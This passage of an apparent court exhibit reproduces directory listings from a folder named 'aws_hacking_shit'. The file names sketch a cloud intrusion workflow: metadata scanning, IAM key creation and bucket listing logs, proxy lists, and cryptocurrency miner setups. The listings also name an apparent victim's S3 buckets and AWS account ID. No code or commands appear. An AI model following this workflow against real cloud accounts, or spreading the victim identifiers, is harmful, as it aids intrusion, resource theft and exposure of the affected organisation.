├── [  147607992 Mar 19  2019]  new_all.xz
├── [   29425664 Apr  6  2019]  new_all2.xz
├── [         17 Mar 14  2019]  pass
├── [         96 Mar  4  2019]  ports.txt
├── [        416 Apr  6  2019]  prescan.sh
├── [        293 Apr  3  2019]  run.sh
├── [       2558 Apr 19  2019]  s3
├── [         39 Apr 13  2019]  scan.log4
├── [  147619840 Mar 20  2019]  scan.tar
├── [        377 Apr 11  2019]  scan_for_metadata.sh
├── [       2940 Apr  6  2019]  scan_for_metadata.sh.bak
├── [ 1967783936 Mar 28  2019]  scanqueue.xz
├── [        184 Mar  3  2019]  spool.sh
├── [        183 Apr 19  2019]  spools3.sh
├── [        158 Apr 11  2019]  success.log
├── [       2212 Apr 12  2019]  test.c
├── [        394 Apr 12  2019]  test.sh
├── [    1213430 Mar  7  2019]  tmp
├── [     525060 Mar  7  2019]  tmp2
├── [    1208570 Mar  8  2019]  tmp3
└── [          0 Mar 28  2019]  xz
```

Ex D, p. 16

```
├── [      27334 Apr 18  2019]  awsscan.txt
├── [    2518916 Apr 19  2019]  az_all.txt
├── [        236 May 29  2019]  azure_scan
│   ├── [      99567 Mar 11  2019]  PublicIPs_20190305.xml
│   ├── [      82816 Mar 12  2019]  all
│   ├── [          9 Mar 12  2019]  https_ports.txt
│   ├── [    6395812 May 29  2019]  metadata
│   ├── [  115966716 Mar 14  2019]  metadata.scanner.joblog
│   ├── [   50872928 Mar 12  2019]  new_all.xz
│   ├── [         96 Mar 12  2019]  ports.txt
│   ├── [        426 Apr 11  2019]  scan_for_metadata.sh
│   └── [        184 Mar 12  2019]  spool.sh
├── [         84 Apr 25  2019]  batt.log
├── [        886 Apr  7  2019]  beanstalks.txt
├── [       1336 Mar 12  2019]  cicd-instance
│   ├── [         72 Mar 12  2019]  baseimagegold
│   ├── [         88 May 29  2019]  ccfresearch-pcaps
│   ├── [        162 Mar 12  2019]  cf-templates-197cv9t28p32b-us-west-2
│   ├── [        280 Mar 12  2019]  cfmc-dv-test
│   ├── [         22 Mar 12  2019]  cfmc-john
│   ├── [         32 Mar 12  2019]  cfmc-survent-installers
│   ├── [         48 Mar 12  2019]  chef-883
│   ├── [         44 May 29  2019]  colo-imports
│   ├── [         14 Mar 12  2019]  config-bucket-cfmc
│   ├── [        340 Mar 12  2019]  dev1-docker-config
│   ├── [        144 Mar 12  2019]  devops-base-images
│   ├── [          0 Mar 12  2019]  elasticbeanstalk-us-west-1-169157730924
│   ├── [        374 Mar 12  2019]  elasticbeanstalk-us-west-2-169157730924
│   ├── [        156 May 29  2019]  eng-jimd
│   ├── [        548 May 29  2019]  expect-script
│   ├── [      60416 May 29  2019]  gobypals
│   ├── [         72 Mar 12  2019]  gold7bucket
│   ├── [         72 Mar 12  2019]  gold7new
│   ├── [        144 Mar 12  2019]  goldbucket
│   ├── [         72 Mar 12  2019]  goldcos7
│   ├── [         72 Mar 12  2019]  goldtestbucket
│   ├── [         12 Mar 12  2019]  loggly-sauron
│   ├── [         18 Mar 12  2019]  logszylun
│   ├── [          0 Mar 12  2019]  pbximport
│   ├── [         14 Mar 12  2019]  qclb-logs
│   ├── [        122 Mar 12  2019]  sip-traffic
│   ├── [         10 Mar 12  2019]  smokeping.cfmc.com
│   ├── [     378342 Mar 12  2019]  stage-ivr-logs
│   ├── [         48 Mar 12  2019]  starbucks.cfmc.com
│   ├── [         18 Mar 12  2019]  survox-customers
│   ├── [        178 Mar 12  2019]  survox-dennis-test
│   ├── [       1240 Mar 12  2019]  survox-deploy-scripts
│   ├── [          0 Mar 12  2019]  survox-glacier
│   ├── [         88 Mar 12  2019]  survox-prod-releases
│   ├── [        164 May 29  2019]  survox-pub
│   ├── [        116 Mar 12  2019]  survox-ssl-certs
```

Ex D, p. 17

```
    ├── [          0 Mar 12  2019]  survoxbackup
    ├── [        998 May 29  2019]  survoxdevopsbilling
    ├── [         16 Mar 12  2019]  survoxdevopsbilling2
    ├── [         40 Mar 12  2019]  survoxmaintenance
    ├── [         26 Mar 12  2019]  test8812.survoxinc.com
    └── [          0 Mar 12  2019]  twilio-cfmc-com-logs
├── [       5857 Apr 19  2019]  create_key.log
├── [      75518 Apr 19  2019]  create_key.log2
├── [      94869 Apr 19  2019]  create_key.log3
├── [      65655 Jun 23  2019]  drive.log
├── [   37693041 Jun 24  2019]  ec2.log
├── [      39824 Apr 19  2019]  ec2scan.txt
├── [       5298 Jun 19  2019]  headers.txt
├── [    2146938 Apr 19  2019]  hostnames.txt
├── [       3374 Jun 21  2019]  iam.log
├── [     583362 Apr 19  2019]  iam_fulllog.txt
├── [     186470 Apr 19  2019]  iam_list_users_all.txt
├── [    3078600 Apr 19  2019]  instancetype.txt
├── [    3469951 Apr 19  2019]  ldap_amazon.txt
├── [          0 Apr 19  2019]  list_key.log
├── [      77750 Apr 19  2019]  list_key.log2
├── [    1378651 Apr 19  2019]  listbuckets.log
├── [    2945389 Apr 19  2019]  local-ipv4.txt
├── [     128095 Jun 24  2019]  matches.uniq.txt
├── [    5532144 Jun 24  2019]  messages.log
├── [    2065101 Jun  1  2019]  metadataproxy.txt
├── [        312 Jun 15  2019]  miner
    ├── [        535 Mar 12  2019]  Dockerfile
    ├── [        130 Mar 22  2019]  ewbf-miner-docker
    ├── [      14324 Mar 12  2019]  minersetup_eth.sh
    ├── [         88 Mar  8  2019]  nv-docker-ethminer
    ├── [   13778944 Mar  8  2019]  nvidia-diag-driver-local-repo-ubuntu1804-
410.104_1.0-1_amd64.deb
    ├── [      12910 Mar  8  2019]  p3.8xlarge-2
    ├── [       1454 Mar 12  2019]  start.sh
    ├── [         20 Jun 15  2019]  tmp
    └── [       3174 Mar 12  2019]  xmrstak
├── [     356705 May 18  2019]  proxy.txt
├── [     528426 Jun 24  2019]  proxycheck.log
├── [        274 Mar  8  2019]  readme.ec2miner
├── [     171971 Apr 15  2019]  scan.log
├── [    8687824 Jun 15  2019]  seattl2.log
├── [    2746898 Jun 15  2019]  seattle.log
├── [      29727 Jun 23  2019]  sts get-caller-identity
├── [       3792 Apr 25  2019]  temp.log
├── [        529 Apr 19  2019]  test_create_key.sh
├── [        538 Apr 19  2019]  test_list_buckets.sh
├── [        505 Apr 19  2019]  test_list_iam_users.sh
├── [        542 Apr 19  2019]  test_list_key.sh
├── [   38562916 Jun 24  2019]  user-data.log
├── [    4316550 Apr 18  2019]  user-data.txt
```

Ex D, p. 18

```
└── [      13360 Apr 15  2019]  whoa.txt


80 directories, 170 files
```

Directory Tree

```
/home/erratic/aws_hacking_shit/miner
├── [        535 Mar 12  2019]  Dockerfile
├── [        130 Mar 22  2019]  ewbf-miner-docker
│   ├── [        138 Mar 22  2019]  .git
│   │   ├── [         23 Mar 22  2019]  HEAD
│   │   ├── [          0 Mar 22  2019]  branches
│   │   ├── [        271 Mar 22  2019]  config
│   │   ├── [         73 Mar 22  2019]  description
│   │   ├── [        414 Mar 22  2019]  hooks
│   │   │   ├── [        478 Mar 22  2019]  applypatch-msg.sample
│   │   │   ├── [        896 Mar 22  2019]  commit-msg.sample
│   │   │   ├── [       3327 Mar 22  2019]  fsmonitor-watchman.sample
│   │   │   ├── [        189 Mar 22  2019]  post-update.sample
│   │   │   ├── [        424 Mar 22  2019]  pre-applypatch.sample
│   │   │   ├── [       1642 Mar 22  2019]  pre-commit.sample
│   │   │   ├── [       1348 Mar 22  2019]  pre-push.sample
│   │   │   ├── [       4898 Mar 22  2019]  pre-rebase.sample
│   │   │   ├── [        544 Mar 22  2019]  pre-receive.sample
│   │   │   ├── [       1492 Mar 22  2019]  prepare-commit-msg.sample
│   │   │   └── [       3610 Mar 22  2019]  update.sample
│   │   ├── [        465 Mar 22  2019]  index
│   │   ├── [         14 Mar 22  2019]  info
│   │   │   └── [        240 Mar 22  2019]  exclude
│   │   ├── [         16 Mar 22  2019]  logs
│   │   │   ├── [        197 Mar 22  2019]  HEAD
│   │   │   └── [         24 Mar 22  2019]  refs
│   │   │       ├── [         12 Mar 22  2019]  heads
│   │   │       │   └── [        197 Mar 22  2019]  master
│   │   │       └── [         12 Mar 22  2019]  remotes
│   │   │           └── [          8 Mar 22  2019]  origin
│   │   │               └── [        197 Mar 22  2019]  HEAD
│   │   ├── [        104 Mar 22  2019]  objects
│   │   │   ├── [         76 Mar 22  2019]  10
│   │   │   │   └──
[        170 Mar 22  2019]  ec6ec9ff1a1abefb910b3cc3093f8a41eb386c
│   │   │   ├── [         76 Mar 22  2019]  11
│   │   │   │   └──
[        174 Mar 22  2019]  dd0252946e78a9ccaa2732f38b53ec7fe62b97
│   │   │   ├── [         76 Mar 22  2019]  18
│   │   │   │   └──
[        469 Mar 22  2019]  1a925cd6e3359be1a2bc2f4e7e64437ab5461d
│   │   │   ├── [         76 Mar 22  2019]  32
│   │   │   │   └──
[        206 Mar 22  2019]  ff63d05c118701398677065275bf883ee9f385
│   │   │   ├── [         76 Mar 22  2019]  56
│   │   │   │   └──
[         54 Mar 22  2019]  0cbc157215c99fc32646c7ee046461ba610db
```

```
│   │   │   ├── [       152 Mar 22  2019]  5f
│   │   │   │   ├──
[        64 Mar 22  2019]  01b4bd0b82e6169c73a6fc882f05d58300a697
│   │   │   │   └──
[        57 Mar 22  2019]  ad7634f6ecbaa63dc8b216ea7815c830ac367e
│   │   │   ├── [        76 Mar 22  2019]  6f
│   │   │   │   └──
[       230 Mar 22  2019]  eae296b9481233b1437460df670adb02afad6e
│   │   │   ├── [        76 Mar 22  2019]  8d
│   │   │   │   └──
[       634 Mar 22  2019]  e362cd663ee8925881717e2f4b5e7fccd79046
│   │   │   ├── [        76 Mar 22  2019]  95
│   │   │   │   └──
[       172 Mar 22  2019]  061f503f94a77a8f9ca8353c53fe6bcd4a342f
│   │   │   ├── [        76 Mar 22  2019]  9d
│   │   │   │   └──
[       620 Mar 22  2019]  2b38ff10a04b6676467a55fe411d0d03897195
│   │   │   ├── [        76 Mar 22  2019]  a0
│   │   │   │   └──
[       177 Mar 22  2019]  afdd5627d6455fc719534fb12f669ce71ebd48
│   │   │   ├── [        76 Mar 22  2019]  a5
│   │   │   │   └──
[       171 Mar 22  2019]  fd12ef294d41747e82cc2644c30359c7ca682b
│   │   │   ├── [        76 Mar 22  2019]  a9
│   │   │   │   └──
[       205 Mar 22  2019]  ee973a487e748d0dd006ebf498e54fe08d3413
│   │   │   ├── [        76 Mar 22  2019]  ad
│   │   │   │   └──
[       564 Mar 22  2019]  8ca2deb4242683cf06c1e16a6e2373c2bf30b8
│   │   │   ├── [        76 Mar 22  2019]  bc
│   │   │   │   └──
[       172 Mar 22  2019]  ae0ad00b8c7dd793200d327767424e1798fe51
│   │   │   ├── [        76 Mar 22  2019]  c6
│   │   │   │   └──
[       172 Mar 22  2019]  7ea5acf72cf3b67109400e40d5f44cfbd73606
│   │   │   ├── [        76 Mar 22  2019]  ca
│   │   │   │   └──
[       482 Mar 22  2019]  b32d5fc259c009e47de80ec247c60971a1fd6b
│   │   │   ├── [        76 Mar 22  2019]  ce
│   │   │   │   └──
[       156 Mar 22  2019]  fc51666b8bfaa17b9b20abf8a24a6627a88815
│   │   │   ├── [        76 Mar 22  2019]  dc
│   │   │   │   └──
[       407 Mar 22  2019]  a8aac4096f07c191071a75561827a63e16086f
│   │   │   ├── [        76 Mar 22  2019]  e0
│   │   │   │   └──
[       461 Mar 22  2019]  bcd4563d688412aed60caf86654ab1b4f97e49
│   │   │   ├── [        76 Mar 22  2019]  ef
│   │   │   │   └──
[       418 Mar 22  2019]  8c1e18c0211546794e0f6aa391a5629510524f
│   │   │   ├── [        76 Mar 22  2019]  f2
```

Ex D, p. 21

```
│   │   │   │   └──
[        615 Mar 22  2019]  5e519f9193c51d87cd691f9fccae0c2e970a10
│   │   │   ├── [          0 Mar 22  2019]  info
│   │   │   └── [          0 Mar 22  2019]  pack
│   │   ├── [        114 Mar 22  2019]  packed-refs
│   │   └── [         32 Mar 22  2019]  refs
│   │       ├── [         12 Mar 22  2019]  heads
│   │       │   └── [         41 Mar 22  2019]  master
│   │       ├── [         12 Mar 22  2019]  remotes
│   │       │   └── [          8 Mar 22  2019]  origin
│   │       │       └── [         32 Mar 22  2019]  HEAD
│   │       └── [          0 Mar 22  2019]  tags
│   ├── [        959 Mar 22  2019]  Dockerfile
│   ├── [         52 Mar 22  2019]  MAINTAINERS
│   ├── [       1245 Mar 22  2019]  README.md
│   ├── [        942 Mar 22  2019]  entrypoint.sh
│   └── [        940 Mar 22  2019]  miner-template.cfg
├── [      14324 Mar 12  2019]  minersetup_eth.sh
├── [         88 Mar  8  2019]  nv-docker-ethminer
│   ├── [      12288 Feb 19  2019]  .Dockerfile.swp
│   ├── [        462 Feb 19  2019]  .travis.yml
│   ├── [        523 Mar  8  2019]  Dockerfile
│   └── [        561 Feb 19  2019]  start.sh
├── [   13778944 Mar  8  2019]  nvidia-diag-driver-local-repo-ubuntu1804-
410.104_1.0-1_amd64.deb
├── [      12910 Mar  8  2019]  p3.8xlarge-2
├── [       1454 Mar 12  2019]  start.sh
├── [         20 Jun 15  2019]  tmp
│   └── [       3174 Jun 15  2019]  Dockerfile
└── [       3174 Mar 12  2019]  xmrstak


42 directories, 61 files
```

Directory Tree

```
/home/erratic/aws_hacking_shit/aws_scan/miner/
├── [        535 Mar 12  2019]  Dockerfile
├── [        130 Mar 22  2019]  ewbf-miner-docker
│   ├── [        138 Mar 22  2019]  .git
│   │   ├── [         23 Mar 22  2019]  HEAD
│   │   ├── [          0 Mar 22  2019]  branches
│   │   ├── [        271 Mar 22  2019]  config
│   │   ├── [         73 Mar 22  2019]  description
│   │   ├── [        414 Mar 22  2019]  hooks
│   │   │   ├── [        478 Mar 22  2019]  applypatch-msg.sample
│   │   │   ├── [        896 Mar 22  2019]  commit-msg.sample
│   │   │   ├── [       3327 Mar 22  2019]  fsmonitor-watchman.sample
│   │   │   ├── [        189 Mar 22  2019]  post-update.sample
│   │   │   ├── [        424 Mar 22  2019]  pre-applypatch.sample
│   │   │   ├── [       1642 Mar 22  2019]  pre-commit.sample
│   │   │   ├── [       1348 Mar 22  2019]  pre-push.sample
│   │   │   ├── [       4898 Mar 22  2019]  pre-rebase.sample
│   │   │   ├── [        544 Mar 22  2019]  pre-receive.sample
│   │   │   ├── [       1492 Mar 22  2019]  prepare-commit-msg.sample
│   │   │   └── [       3610 Mar 22  2019]  update.sample
│   │   ├── [        465 Mar 22  2019]  index
│   │   ├── [         14 Mar 22  2019]  info
│   │   │   └── [        240 Mar 22  2019]  exclude
│   │   ├── [         16 Mar 22  2019]  logs
│   │   │   ├── [        197 Mar 22  2019]  HEAD
│   │   │   └── [         24 Mar 22  2019]  refs
│   │   │       ├── [         12 Mar 22  2019]  heads
│   │   │       │   └── [        197 Mar 22  2019]  master
│   │   │       └── [         12 Mar 22  2019]  remotes
│   │   │           └── [          8 Mar 22  2019]  origin
│   │   │               └── [        197 Mar 22  2019]  HEAD
│   │   ├── [        104 Mar 22  2019]  objects
│   │   │   ├── [         76 Mar 22  2019]  10
│   │   │   │   └──
[        170 Mar 22  2019]  ec6ec9ff1a1abefb910b3cc3093f8a41eb386c
│   │   │   ├── [         76 Mar 22  2019]  11
│   │   │   │   └──
[        174 Mar 22  2019]  dd0252946e78a9ccaa2732f38b53ec7fe62b97
│   │   │   ├── [         76 Mar 22  2019]  18
│   │   │   │   └──
[        469 Mar 22  2019]  1a925cd6e3359be1a2bc2f4e7e64437ab5461d
│   │   │   ├── [         76 Mar 22  2019]  32
│   │   │   │   └──
[        206 Mar 22  2019]  ff63d05c118701398677065275bf883ee9f385
│   │   │   ├── [         76 Mar 22  2019]  56
│   │   │   │   └──
[         54 Mar 22  2019]  0cbc157215c99fc32646c7ee046461ba610db
```

```
│   │   │   ├── [       152 Mar 22  2019]  5f
│   │   │   │   ├──
[        64 Mar 22  2019]  01b4bd0b82e6169c73a6fc882f05d58300a697
│   │   │   │   └──
[        57 Mar 22  2019]  ad7634f6ecbaa63dc8b216ea7815c830ac367e
│   │   │   ├── [        76 Mar 22  2019]  6f
│   │   │   │   └──
[       230 Mar 22  2019]  eae296b9481233b1437460df670adb02afad6e
│   │   │   ├── [        76 Mar 22  2019]  8d
│   │   │   │   └──
[       634 Mar 22  2019]  e362cd663ee8925881717e2f4b5e7fccd79046
│   │   │   ├── [        76 Mar 22  2019]  95
│   │   │   │   └──
[       172 Mar 22  2019]  061f503f94a77a8f9ca8353c53fe6bcd4a342f
│   │   │   ├── [        76 Mar 22  2019]  9d
│   │   │   │   └──
[       620 Mar 22  2019]  2b38ff10a04b6676467a55fe411d0d03897195
│   │   │   ├── [        76 Mar 22  2019]  a0
│   │   │   │   └──
[       177 Mar 22  2019]  afdd5627d6455fc719534fb12f669ce71ebd48
│   │   │   ├── [        76 Mar 22  2019]  a5
│   │   │   │   └──
[       171 Mar 22  2019]  fd12ef294d41747e82cc2644c30359c7ca682b
│   │   │   ├── [        76 Mar 22  2019]  a9
│   │   │   │   └──
[       205 Mar 22  2019]  ee973a487e748d0dd006ebf498e54fe08d3413
│   │   │   ├── [        76 Mar 22  2019]  ad
│   │   │   │   └──
[       564 Mar 22  2019]  8ca2deb4242683cf06c1e16a6e2373c2bf30b8
│   │   │   ├── [        76 Mar 22  2019]  bc
│   │   │   │   └──
[       172 Mar 22  2019]  ae0ad00b8c7dd793200d327767424e1798fe51
│   │   │   ├── [        76 Mar 22  2019]  c6
│   │   │   │   └──
[       172 Mar 22  2019]  7ea5acf72cf3b67109400e40d5f44cfbd73606
│   │   │   ├── [        76 Mar 22  2019]  ca
│   │   │   │   └──
[       482 Mar 22  2019]  b32d5fc259c009e47de80ec247c60971a1fd6b
│   │   │   ├── [        76 Mar 22  2019]  ce
│   │   │   │   └──
[       156 Mar 22  2019]  fc51666b8bfaa17b9b20abf8a24a6627a88815
│   │   │   ├── [        76 Mar 22  2019]  dc
│   │   │   │   └──
[       407 Mar 22  2019]  a8aac4096f07c191071a75561827a63e16086f
│   │   │   ├── [        76 Mar 22  2019]  e0
│   │   │   │   └──
[       461 Mar 22  2019]  bcd4563d688412aed60caf86654ab1b4f97e49
│   │   │   ├── [        76 Mar 22  2019]  ef
│   │   │   │   └──
[       418 Mar 22  2019]  8c1e18c0211546794e0f6aa391a5629510524f
│   │   │   ├── [        76 Mar 22  2019]  f2
```

Ex D, p. 24

```
│   │   │   │   └──
[        615 Mar 22  2019]  5e519f9193c51d87cd691f9fccae0c2e970a10
│   │   │   ├── [          0 Mar 22  2019]  info
│   │   │   └── [          0 Mar 22  2019]  pack
│   │   ├── [        114 Mar 22  2019]  packed-refs
│   │   └── [         32 Mar 22  2019]  refs
│   │       ├── [          12 Mar 22  2019]  heads
│   │       │   └── [         41 Mar 22  2019]  master
│   │       ├── [          12 Mar 22  2019]  remotes
│   │       │   └── [          8 Mar 22  2019]  origin
│   │       │       └── [         32 Mar 22  2019]  HEAD
│   │       └── [          0 Mar 22  2019]  tags
│   ├── [        959 Mar 22  2019]  Dockerfile
│   ├── [         52 Mar 22  2019]  MAINTAINERS
│   ├── [       1245 Mar 22  2019]  README.md
│   ├── [        942 Mar 22  2019]  entrypoint.sh
│   └── [        940 Mar 22  2019]  miner-template.cfg
├── [      14324 Mar 12  2019]  minersetup_eth.sh
├── [         88 Mar  8  2019]  nv-docker-ethminer
│   ├── [      12288 Feb 19  2019]  .Dockerfile.swp
│   ├── [        462 Feb 19  2019]  .travis.yml
│   ├── [        523 Mar  8  2019]  Dockerfile
│   └── [        561 Feb 19  2019]  start.sh
├── [   13778944 Mar  8  2019]  nvidia-diag-driver-local-repo-ubuntu1804-
410.104_1.0-1_amd64.deb
├── [      12910 Mar  8  2019]  p3.8xlarge-2
├── [       7872 Apr  3  2019]  rerun.sh
├── [      19051 Apr 19  2019]  roleec2-1
├── [      19471 Jun 25  2019]  saltmaster-1
├── [      19471 Apr 20  2019]  setup.sh
├── [       1454 Mar 12  2019]  start.sh
└── [       3174 Mar 12  2019]  xmrstak


41 directories, 64 files
```

Ex D, p. 25